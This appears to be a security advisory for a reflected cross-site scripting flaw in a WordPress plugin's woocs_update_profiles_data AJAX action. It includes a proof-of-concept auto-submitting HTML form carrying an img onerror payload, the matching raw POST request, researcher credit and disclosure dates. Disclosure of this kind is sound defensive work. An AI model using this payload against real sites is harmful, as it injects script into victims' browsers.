The plugin does not sanitise and escape the key parameter of the woocs_update_profiles_data AJAX action (available to any authenticated user) before outputting it back in the response, leading to a Reflected cross-Site Scripting issue
<html> <body> <form action="https://example.com/wp-admin/admin-ajax.php" id="hack" method="POST"> <input type="hidden" name="action" value="woocs_update_profiles_data" /> <input type="hidden" name="key" value="<img src onerror=alert(`XSS`) >" /> <input type="submit" value="Submit request" /> </form> </body> <script> var form1 = document.getElementById('hack'); form1.submit(); </script> </html> POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 82 Connection: close Cookie: [any authenticated user] Cache-Control: max-age=0 action=woocs_update_profiles_data&key=%3Cimg+src+onerror%3Dalert%28%60XSS%60%29%3E
ZhongFu Su(JrXnm) of Wuhan University
ZhongFu Su(JrXnm) of Wuhan University
Yes
2021-11-08 (about 1 years ago)
2021-11-08 (about 1 years ago)
2022-09-26 (about 12 months ago)